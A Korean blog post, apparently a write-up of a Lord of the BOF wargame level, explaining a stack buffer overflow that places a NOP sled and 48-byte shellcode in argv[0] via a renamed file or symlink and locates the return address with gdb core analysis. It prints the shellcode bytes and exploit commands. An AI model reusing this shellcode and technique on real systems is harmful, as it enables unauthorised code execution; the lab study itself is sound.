★if(argc != 2) : 실행파일에 같이 주는 인자가 1개가 아니면 종료
=>인자를 argv[1]만 줘야한다.
★egghunter: memset() 함수로 환경변수를 0으로 초기화한다.
★if(argv[1][47] != ‘\xbf’): argv[1]의 48번째 원소가 ‘\xbf’가 아니면 종료. Ret이 꼭 argv[1]의 45~48번째를 차지해야 한다.
★if(strlen(argv[1]) > 48): argv[1]의 크기가 48보다 크면 종료
★strcpy(buffer, argv[1]): argv[1]에 든 것을 buffer에 복사한다. 길이를 검사하지 않고 복사하므로 bufferoverflow 취약점이 있다.
★memset(buffer, 0, 40): buffer의 40바이트를 0으로 초기화한다.
★memset(argv[1], 0, strlen(argv[1])): argv[1]을 0으로 초기화한다.
=>strcpy로 argv[1]을 buffer로 복사 후 바로 printf로 buffer를 출력하기 때문에 마지막에 memset() 함수로 초기화해도 48바이트 안에 payload를 제대로 준다면 문제가 없을 것 같다...고 생각했는데 초기화된다. argv[1]에는 초기화되므로 shellcode를 넣을 수 없다.
argv[0]은 파일 이름이므로, NOP+shellcode를 argv[0]에 포함시키면 된다.
여기서 주의해야 할 것은, “\x2f”는 /을 나타내기 때문에 shellcode에 “\x2f”가 포함되면 안 된다.
\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81 (48byte)
따라서 48byte의 “\x2f”가 없는 위의 쉘코드를 사용해보자.
NOP+shellcode를 넣는 방법은 파일이름을 NOP+shellcode로 바꾸는 것이다.
파일이름은 ./troll이므로, 이 이름을 ./NOP+shellcode로 바꿔준다.
이전에 argv[0]이 77byte이어야 했을 때는 /로 채울 수 있었지만, NOP+shellcode를 사용하면 파일이름이 troll이 아니게 되므로 아예 파일이름을 바꾸는 것이다.
파일이름은 cp 명령어로 바꿀 수 있다.
Core를 생성하려고 계속 해봤는데 안 됐었는데,
./`python -c 'print "\x90"'`* `python -c 'print "A"*44+"\xbf\xbf\xbf\xbf"'`
이렇게 “\x90” 뒤에를 다 쓰지 않고 *으로 생략해서 썼더니 core dumped됐다.
Core가 생성된 것을 확인할 수 있다.
$ gdb -q -c core
(gdb) x/1000s $esp
(gdb) x/1000s $esp : 1000개를 string 형태로 esp 레지스터부터 보자!
./이 있고 다음에 \220이 198번 반복된다고 하니 이 부분이 NOP+shellcode가 담긴 주소부분이다.
x/100x로는 바이너리 형태로 볼 수 있다. \x90이 들어가있는 것을 확인할 수 있다.
Nopsled 기법을 이용해 NOP부분인 0xbffff9c0를 주소로 줘서 NOP부분에선 흘러가고 shellcode가 실행될 수 있도록 한다.
복사한 파일로는 bash쉘을 딸 수 있었다. 이제 원본파일에 저 주소를 사용해보자.
이때, 쉘코드의 메모리 주소가 바뀌는 것을 방지하기 위해 심볼릭 링크 사용해야 한다.
메모리 주소가 바뀌는 이유는 경로의 길이에 따라 환경변수 등 몇가지 요인이 영향을 받기 때문
아까 구한 \xbf\xff\xf9\xc0 주소를 ret에 넣어서 NOP에서 shellcode로 흘러가게 payload를 줬더니 bash쉘을 따는데 성공했다!
“aspirin”
[LOB] level 11: skeleton -> golem (0) | 2019.05.15 |
---|---|
[LOB] level10: vampire -> skeleton (0) | 2019.05.01 |
[LOB] level3: cobolt -> goblin (0) | 2019.04.01 |
BOF(Buffer Overflow) 공격-고전적인 방법 (0) | 2019.03.29 |
[LOB] gremlin -> cobolt (0) | 2019.03.28 |